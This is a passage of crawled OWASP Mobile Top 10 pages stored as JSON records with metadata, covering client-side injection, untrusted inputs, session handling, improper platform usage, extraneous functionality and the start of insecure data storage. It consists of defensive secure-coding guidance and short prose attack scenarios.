Binary Code Itself:**\n\n- Mobile malware or other malicious apps may perform a binary attack against the presentation layer (HTML; JavaScript; Cascading Style Sheets CSS) or the actual binary of the mobile app’s executable. These code injections are executed either by the mobile app’s framework or the binary itself at run-time.\n\n# How Do I Prevent ‘Client Side Injection’?\n\nIn general, protecting you application from client side injection requires looking at all the areas your application can receive data from and applying some sort of input validation. In certain cases this is simple but for others it is more complex, see below:\n\n**iOS Specific Best Practices:**\n\n- **SQLite Injection:** When designing queries for SQLite be sure that user supplied data is being passed to a parameterized query. This can be spotted by looking for the format specifier used. In general, dangerous user supplied data will be inserted by a “%@” instead of a proper parameterized query specifier of “?”.\n- **JavaScript Injection (XSS, etc)** : Ensure that all UIWebView calls do not execute without proper input validation. Apply filters for dangerous JavaScript characters if possible, using a whitelist over blacklist character policy before rendering. If possible call mobile Safari instead of rending inside of UIWebkit which has access to your application.\n- **Local File Inclusion** : Use input validation for NSFileManager calls.\n- **XML Injection** : use libXML2 over NSXMLParser\n- **Format String Injection** : Several Objective C methods are vulnerable to format string attacks:\n - NSLog, [NSString stringWithFormat:], [NSString initWithFormat:], [NSMutableString appendFormat:], [NSAlert informativeTextWithFormat:], [NSPredicate predicateWithFormat:], [NSException format:], NSRunAlertPanel.\n - Do not let sources outside of your control, such as user data and messages from other applications or web services, control any part of your format strings.\n- **Classic C Attacks** : Objective C is a superset of C, avoid using old C functions vulnerable to injection such as: strcat, strcpy, strncat, strncpy, sprint, vsprintf, gets, etc.\n\n**Android Specific Best Practices:**\n\n- **SQL Injection** : When dealing with dynamic queries or Content-Providers ensure you are using parameterized queries.\n- **JavaScript Injection (XSS)** : Verify that JavaScript and Plugin support is disabled for any WebViews (usually the default).\n- **Local File Inclusion** : Verify that File System Access is disabled for any WebViews (webview.getSettings().setAllowFileAccess(false);).\n- **Intent Injection/Fuzzing** : Verify actions and data are validated via an Intent Filter for all Activities.\n\n**Binary Injection / Modification Prevention for Android and iOS:**\n\n- See M10 for more information on best practices around preventing, detecting, and reacting to binary injection by an adversary.\n\n# Example Attack Scenarios\n\nClassic client-side injection scenarios include the following:\n\n1. SQL Injection - Data retrieved from a mobile app’s server contains malformed data that results in a local SQL injection within the mobile device’s local databases. Local SQL injections may result in local malware injection, information theft, and much more;\n2. Cross-Application Scripting Attacks - Malicious intents fed from one Android application to another may result in buffer overflows that allow for malicious code execution;\n3. Cross-Site Script Attacks - Local HTML modifications via malware or other apps results in execution of malicious JavaScript in the presentation layer of the app. This may result in information theft.\n\n# References\n\n- [Apple’s Secure Coding Guide](https://developer.apple.com/library/mac/#documentation/security/conceptual/SecureCodingGuide)\n- [Fortify Software: Format Strings - Is Objective C Objectively Safer?](http://blog.fortify.com/blog/2012/07/25/Format-Strings-Is-Objective-C-Objectively-Safer)\n- [Ilja Van Sprundel – Auditing iPhone and iPad Applications](http://www.youtube.com/watch?v=FJvyLUjbAy0)\n- [Adventures with Android WebViews](http://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 8725, "slov": 1270, "odkazu": 38, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:49", "sha256": "33aba4c93048547f15e6ffe63b86ac234b81e9a8e3569c79819fbb3e0bdaf43b", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://developer.apple.com/library/mac/", "http://blog.fortify.com/blog/2012/07/25/Format-Strings-Is-Objective-C-Objectively-Safer", "http://www.youtube.com/watch?v=FJvyLUjbAy0", "http://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m8-security-decisions-via-untrusted-inputs", "titulek": "M8: Security Decisions Via Untrusted Inputs | OWASP Foundation", "h1": "M8: Security Decisions Via Untrusted Inputs", "popis": "M8: Security Decisions Via Untrusted Inputs on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2014-risks/m8-security-decisions-via-untrusted-inputs", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M8: Security Decisions Via Untrusted Inputs on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M8: Security Decisions Via Untrusted Inputs | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m8-security-decisions-via-untrusted-inputs.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M8: Security Decisions Via Untrusted Inputs"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Security Decisions Via Untrusted Inputs’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Security Decisions Via Untrusted Inputs’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M8: Security Decisions Via Untrusted Inputs\n\n# Threat Agents\n\n**Application Specific**\n\nThreat Agents include entities that can pass untrusted inputs to the sensitive method calls. Examples of such entities include, but are not limited to, users, malware and vulnerable apps.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nAn attacker with access to app can intercept intermediate calls and manipulate results via parameter tampering.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability EASY**\n\nDevelopers generally use hidden fields and values or any hidden functionality to distinguish higher level users from lower level users. An attacker can intercept the calls (IPC or web service calls) and temper with such sensitive parameters. Weak implementation of such functionalities leads to improper behavior of an app and even granting higher level permissions to an attacker.This can easily be exploited through hooking functionality.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nThis vulnerability may lead to privilege escalation providing access of higher authorities and functionalities to an attacker. It can even bypass security mechanisms implemented by the app leading to loss of confidentiality and integrity.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nThis vulnerability leads to loss of reputation.\nAt the same time, impacting and harming the integrity and confidentiality.\n\n# Am I Vulnerable To ‘Security Decisions Via Untrusted Inputs’?\n\nYour mobile application can accept data from all kinds of sources. In most cases this will be an Inter Process Communication (IPC) mechanism. In general try and adhere to the following IPC design patterns:\n\n- If there is a business requirement for IPC communication, the mobile application should restrict access to a white-list of trusted applications\n- Sensitive actions which are triggered through IPC entry points should require user interaction before performing the action\n- All input received from IPC entry points must undergo stringent input validation in order to prevent input driven attacks\n- Do not pass any sensitive information through IPC mechanisms, as it may be susceptible to being read by third party applications under certain scenarios\n\n# How Do I Prevent ‘Security Decisions Via Untrusted Inputs’?\n\n**iOS Specific Examples:**\n\n- Do not use the deprecated handleOpenURL method to handle URL Scheme calls. This method does not contain an argument containing the BundleID of the source application.\n - Instead use the openURL:sourceApplication:annotation method and validation the sourceApplication argument against a white-list of trusted applications\n- Do not use the iOS Pasteboard for IPC communications, as it is susceptible to being set or read by all third party apps on the device.\n\n**Android Specific Examples**\n\n- None\n\n# Example Attack Scenarios\n\nNone\n\n# References\n\n- [An In Depth Introduction to the Android Permissions Modeland How to Secure MultiComponent Applications](https://www.owasp.org/images/c/ca/ASDC12-An_InDepth_Introduction_to_the_Android_Permissions_Modeland_How_to_Secure_MultiComponent_Applications.pdf)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 3192, "slov": 432, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:50", "sha256": "020ccb5208c394fca30532777f4f21c43c788d2df05e9fe4761a6eacd8dfff69", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/images/c/ca/ASDC12-An_InDepth_Introduction_to_the_Android_Permissions_Modeland_How_to_Secure_MultiComponent_Applications.pdf", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m9-improper-session-handling", "titulek": "M9: Improper Session Handling | OWASP Foundation", "h1": "M9: Improper Session Handling", "popis": "M9: Improper Session Handling on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2014-risks/m9-improper-session-handling", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M9: Improper Session Handling on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M9: Improper Session Handling | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m9-improper-session-handling.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M9: Improper Session Handling"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Improper Session Handling’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Improper Session Handling’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M9: Improper Session Handling\n\n# Threat Agents\n\n**Application Specific**\n\nAnyone or any mobile app with access to HTTP/S traffic, cookie data, etc.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nAttack vectors include physical access to the device, and network traffic capture, or malware on the mobile device.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability EASY**\n\nIn order to facilitate a stateful transaction between a user and a mobile app’s backend servers, mobile apps use session tokens to maintain state over stateless protocols like HTTP or SOAP. To maintain state, the mobile app must first authenticate the user through the backend. In response to successful authentication, the server issues a session cookie to the mobile app. The mobile app adds this cookie to all future service transactions between the mobile app and the server. This allows the server to conveniently enforce authentication and authorization for any service requests issued by the mobile app. Improper session handling occurs when the session token is unintentionally shared with the adversary during a subsequent transaction between the mobile app and the backend servers.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nAn adversary that has access to the session tokens is able to impersonate the user by submitting the token to the backend server for any sensitive transactions. Hence, the technical impact is dependent upon who is being impersonated and what service is being requested.\nIn the worst-case scenario,the adversary is impersonating an administrative user and issuing a request for administrative functionality that is dangerous in nature.\n\nIn the average-case scenario, users lose control of their accounts and who is performing authorized functionality on their behalf.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nImproper session handling results in an adversary that can impersonate another user and perform business functionality on their behalf. This may result in:\n\n- Fraud;\n- Information Theft; or\n- Business Interruption\n\n# Am I Vulnerable To ‘Improper Session Handling’?\n\nThis category deals with session handling and the various ways it can be done insecurely.\n\nImproper Session Handling typically results in the same outcomes as poor authentication. Once you are authenticated and given a session, that session allows one access to the mobile application. Mobile app code must protect user sessions just as carefully as its authentication mechanism.\n\nHere are some examples of how it is often done improperly:\n\n**Failure to Invalidate Sessions on the Backend**\n\nMany developers invalidate sessions on the mobile app and not on the server side, leaving a major window of opportunity for attackers who are using HTTP manipulation tools. Ensure that all session invalidation events are executed on the server side and not just on the mobile app.\n\nLack of Adequate Timeout Protection\nAny mobile app you create must have adequate timeout protection on the backend components. This helps prevent malicious potential for an unauthorized user to gain access to an existing session and assume the role of that user.\n\nGood timeout periods vary widely according to the sensitivity of the app, one’s own risk profile, etc., but some good guidelines are:\n\n- 15 minutes for high security applications\n- 30 minutes for medium security applications\n- 1 hour for low security applications\n\nThere is an increasing trend towards allowing long timeout values on mobile app sessions due to the nature of user interaction with mobile apps. Often, users are doing many things at once when using their mobile apps. Interactions tend to be sporatic, unpredictable, and drawn out over a longer timeframe than with traditional web apps. In some ways, it makes sense that longer timeout sessions are required because the interval between interactions might be longer. However, this increased session timeout window will increase the risk of session stealing if session handling is not done properly. It is important to raise this risk with the powers-that-be to ensure that session handling is handled properly.\n\n**Failure to Properly Rotate Cookies**\n\nAnother major problem with session management implementations is the failure to properly reset cookies during authentication state changes. Authentication state changes include events like:\n\n- Switching from an anonymous user to a logged in user\n- Switching from any logged in user to another logged in user\n- Switching from a regular user to a privileged user\n- Timeouts\n\nFor each of these event types, it is critical that sessions are destroyed on the server side and that the cookies presented as part of the previous sessions are no longer accepted. Ideally, your application would even detect any use of said cookies and would report that to the appropriate security team.\n\n**Insecure Token Creation**\n\nIn addition to properly invalidating tokens (on the server side) during key application events, it’s also crucial that the tokens themselves are generated properly. Just as with encryption algorithms, developers should use well-established and industry-standard methods of created tokens. They should be sufficiently long, complex, and pseudo-random so as to be resistant to guessing/anticipation attacks.\n\n# How Do I Prevent ‘Improper Session Handling’?\n\nTo handle sessions properly, ensure that mobile app code creates, maintains, and destroys session tokens properly over the life-cycle of a user’s mobile app session. Follow the advice above.\n\n# Example Attack Scenarios\n\nNone\n\n# References\n\n- OWASP\n - [OWASP](https://www.owasp.org/)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 5712, "slov": 855, "odkazu": 36, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:51", "sha256": "63ba1f28c02ab9d7a98e4bf64ab350aa49c09c91a2165b0e07d175f37f5a633e", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m1-improper-platform-usage", "titulek": "M1: Improper Platform Usage | OWASP Foundation", "h1": "M1: Improper Platform Usage", "popis": "M1: Improper Platform Usage on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2016-risks/m1-improper-platform-usage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M1: Improper Platform Usage on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M1: Improper Platform Usage | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m1-improper-platform-usage.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M1: Improper Platform Usage"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Improper Platform Usage’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Improper Platform Usage’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M1: Improper Platform Usage\n\n# Threat Agents\n\n**Application Specific**\n\nThis category covers misuse of a platform feature or failure to use platform security controls. It might include Android intents, platform permissions, misuse of TouchID, the Keychain, or some other security control that is part of the mobile operating system.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nThe attack vectors correspond to the same attack vectors available through the traditional OWASP Top Ten. Any exposed API call can serve as attack vector here.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability AVERAGE**\n\nIn order for this vulnerability to be exploited, the organization must expose a web service or API call that is consumed by the mobile app. The exposed service or API call is implemented using insecure coding techniques that produce an OWASP Top Ten vulnerability within the server. Through the mobile interface, an adversary is able to feed malicious inputs or unexpected sequences of events to the vulnerable endpoint. Hence, the adversary realizes the original OWASP Top Ten vulnerability on the server.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nThe technical impact of this vulnerability corresponds to the technical impact of the associated vulnerability (defined in the OWASP Top Ten) that the adversary is exploiting via the mobile device.\n\nFor example, an adversary may exploit a Cross-Site Scripting (XSS) vulnerability via the mobile device. This corresponds to the OWASP Top Ten A3 - XSS Category with a technical impact of moderate.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nThe business impact of this vulnerability corresponds to the business impact of the associated vulnerability (defined in the OWASP Top Ten) that the adversary is exploiting via the mobile device.\n\nFor example, an adversary may exploit a Cross-Site Scripting (XSS) vulnerability via the mobile device. This corresponds to the OWASP Top Ten A3 - XSS Category’s business impacts.\n\n# Am I Vulnerable To ‘Improper Platform Usage’?\n\nThe defining characteristic of risks in this category is that the platform (iOS, Android, Windows Phone, etc.) provides a feature or a capability that is documented and well understood. The app fails to use that capability or uses it incorrectly. This differs from other mobile top ten risks because the design and implementation is not strictly the app developer’s issue.\n\nThere are several ways that mobile apps can experience this risk.\n\n1. **Violation of published guidelines.** All platforms have development guidelines for security (c.f., ((Android)), ((iOS)), ((Windows Phone))). If an app contradicts the best practices recommended by the manufacturer, it will be exposed to this risk. For example, there are guidelines on how to use the iOS Keychain or how to secure exported services on Android. Apps that do not follow these guidelines will experience this risk.\n2. **Violation of convention or common practice.** Not all best practices are codified in manufacturer guidance. In some instances, there are de facto best practices that are common in mobile apps.\n3. **Unintentional Misuse.** Some apps intend to do the right thing, but actually get some part of the implementation wrong. This could be a simple bug, like setting the wrong flag on an API call, or it could be a misunderstanding of how the protections work.\n\nFailures in the platform’s permission models fall into this category. For example, if the app requests too many permissions or the wrong permissions, that is best categorised here.\n\n# How Do I Prevent ‘Improper Platform Usage’?\n\nSecure coding and configuration practices must be used on server-side of the mobile application. For specific vulnerability information, refer to the OWASP Web Top Ten or Cloud Top Ten projects.\n\n# Example Attack Scenarios\n\nBecause there are several platforms, each with hundreds or thousands of APIs, the examples in this section only scratch the surface of what is possible.\n\n**App Local Storage Instead of Keychain** The iOS Keychain is a secure storage facility for both app and system data. On iOS, apps should use it to store any small data that has security significance (session keys, passwords, device enrolment data, etc.). A common mistake is to store such items in app local storage. Data stored in app local storage is available in unencrypted iTunes backups (e.g., on the user’s computer). For some apps, that exposure is inappropriate.\n\nBelow, you can see that there are many risks and vulnerabilities that you must mitigate in order to satisfy M1:\n\n**The Worst Offenders**\nBelow is a list vulnerability types that OWASP sees most often within mobile applications:\n\n- **Poor Web Services Hardening**\n - Logic flaws\n - [Testing for business logic flaws](https://www.owasp.org/index.php/Testing_for_business_logic_(OWASP-BL-001))\n - [Business Logic Security Cheat Sheet](https://www.owasp.org/index.php/Business_Logic_Security_Cheat_Sheet)\n - Weak Authentication\n - [OWASP Top Ten Broken Authentication Section](https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management)\n - [Authentication Cheat Sheet](https://www.owasp.org/index.php/Authentication_Cheat_Sheet)\n - [Developers Guide for Authentication](https://www.owasp.org/index.php/Guide_to_Authentication)\n - [Testing for Authentication](https://www.owasp.org/index.php/Testing_for_authentication)\n - Weak or no session management\n - Session fixation\n - Sensitive data transmitted using GET method\n- **Insecure web server configurations**\n - Default content\n - Administrative interfaces\n- **Injection (SQL, XSS, Command) on both web services and mobile-enabled websites**\n- **Authentication flaws**\n- **Session Management flaws**\n- **Access control vulnerabilities**\n- **Local and Remote File Includes**\n\n# References\n\n- OWASP\n - [OWASP Top Ten](https://www.owasp.org/index.php/OWASP_Top_Ten)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 5952, "slov": 827, "odkazu": 42, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:31", "sha256": "a5724f949f5fbed9fcd4e1c0135d55ad943e60a1c15aa1478f25d2e0b1539ef3", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/index.php/Testing_for_business_logic_(OWASP-BL-001)", "https://www.owasp.org/index.php/Business_Logic_Security_Cheat_Sheet", "https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management", "https://www.owasp.org/index.php/Authentication_Cheat_Sheet", "https://www.owasp.org/index.php/Guide_to_Authentication", "https://www.owasp.org/index.php/Testing_for_authentication", "https://www.owasp.org/index.php/OWASP_Top_Ten", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m10-extraneous-functionality", "titulek": "M10: Extraneous Functionality | OWASP Foundation", "h1": "M10: Extraneous Functionality", "popis": "M10: Extraneous Functionality on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2016-risks/m10-extraneous-functionality", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M10: Extraneous Functionality on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M10: Extraneous Functionality | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m10-extraneous-functionality.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M10: Extraneous Functionality"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Extraneous Functionality’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Extraneous Functionality’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M10: Extraneous Functionality\n\n# Threat Agents\n\n**Application Specific**\n\nTypically, an attacker seeks to understand extraneous functionality within a mobile app in order to discover hidden functionality in in backend systems. The attacker will typically exploit extraneous functionality directly from their own systems without any involvement by end-users.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nAn attacker will download and examine the mobile app within their own local environment. They will examine log files, configuration files, and perhaps the binary itself to discover any hidden switches or test code that was left behind by the developers. They will exploit these switches and hidden functionality in the backend system to perform an attack.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability AVERAGE**\n\nThere is a high likelihood that any given mobile app contains extraneous functionality that is not directly exposed to the user via the interface. Most of this additional code is benign in nature and will not give an attacker any additional insight into backend capabilities. However, some extraneous functionality can be very useful to an attacker. Functionality that exposes information related to back-end test, demo, staging, or UAT environments should not be included in a production build. Additionally, administrative API endpoints, or unofficial endpoints should not be included in final production builds. Detecting extraneous functionality can be tricky. Automated static and dynamic analysis tools can pick up low hanging fruit (log statements). However, some backdoors are difficult to detect in an automated means. As such, it is always best to prevent these things using a manual code review.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nThe technical impact from extraneous functionality includes the following:\n\n- Exposure of how backend systems work; or\n- Unauthorized high-privileged actions executed.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nThe business impact from extraneous functionality includes the following:\n\n- Unauthorized Access to Sensitive Functionality;\n- Reputational Damage; or\n- Intellectual Property Theft.\n\n# Am I Vulnerable To ‘Extraneous Functionality’?\n\nOften, developers include hidden backdoor functionality or other internal development security controls that are not intended to be released into a production environment. For example, a developer may accidentally include a password as a comment in a hybrid app. Another example includes disabling of 2-factor authentication during testing.\n\nThe defining characteristic of this risk is leaving functionality enabled in the app that was not intended to be released.\n\n# How Do I Prevent ‘Extraneous Functionality’?\n\nThe best way to prevent this vulnerability is to perform a manual secure code review using security champs or subject matter experts most knowledgable with this code. They should do the following:\n\n1. Examine the app’s configuration settings to discover any hidden switches;\n2. Verify that all test code is not included in the final production build of the app;\n3. Examine all API endpoints accessed by the mobile app to verify that these endpoints are well documented and publicly available;\n4. Examine all log statements to ensure nothing overly descriptive about the backend is being written to the logs;\n\n# Example Attack Scenarios\n\n**Scenario #1**: Administrative Endpoint Exposed:\n\nAs part of mobile endpoint testing, developers included a hidden interface within the mobile app that would display an administrative dashboard. This dashboard accessed admin information via the back-end API server. In the production version of the code, the developers did not include code that displayed the dashboard at any time. However, they did include the underlying code that could access the back-end admin API. An attacker performed a string table analysis of the binary and discovered the hardcoded URL to an administrative REST endpoint. The attacker subsequently used ‘curl’ to execute back-end administrative functionality.\n\nThe developers should have removed all extraneous code, including code that is not directly reachable by the native interface.\n\n**Scenario #2**: Debug Flag in Configuration File:\n\nAn attacker tries manually added “debug=true” to a .properties file in a local app. Upon startup, the application is outputting log files that are overly descriptive and helpful to the attacker in understanding the backend systems. The attacker subsequently discovers vulnerabilities within the backend system as a result of the log.\n\nThe developers should have prevented the activation of ‘debug mode’ within a production build of the mobile app.\n\n# References\n\n- OWASP\n - [OWASP](https://www.owasp.org/)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 4885, "slov": 704, "odkazu": 36, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:42", "sha256": "dda86c4ba73720f0e3be731d5357d0aef03a941ac39319edec877f727b5f81f9", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m2-insecure-data-storage", "titulek": "M2: Insecure Data Storage | OWASP Foundation", "h1": "M2: Insecure Data Storage", "popis": "M2: Insecure Data Storage on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2016-risks/m2-insecure-data-storage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M2: Insecure Data Storage on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M2: Insecure Data Storage | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m2-insecure-data-storage.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M2: Insecure Data Storage"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Insecure Data Storage’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Insecure Data Storage’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M2: Insecure Data Storage\n\n# Threat Agents\n\n**Application Specific**\n\nThreats agents include the following: an adversary that has attained a lost/stolen mobile device; malware or another repackaged app acting on the adversary’s behalf that executes on the mobile device.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nIn the event that an adversary physically attains the mobile device, the adversary hooks up the mobile device to a computer with freely available software. These tools allow the adversary to see all third party application directories that often contain stored personally identifiable information (PII) or other sensitive information assets. An adversary may construct malware or modify a legitimate app to steal such information assets.\n\n# Security Weakness\n\n**Prevalence COMMON** \n 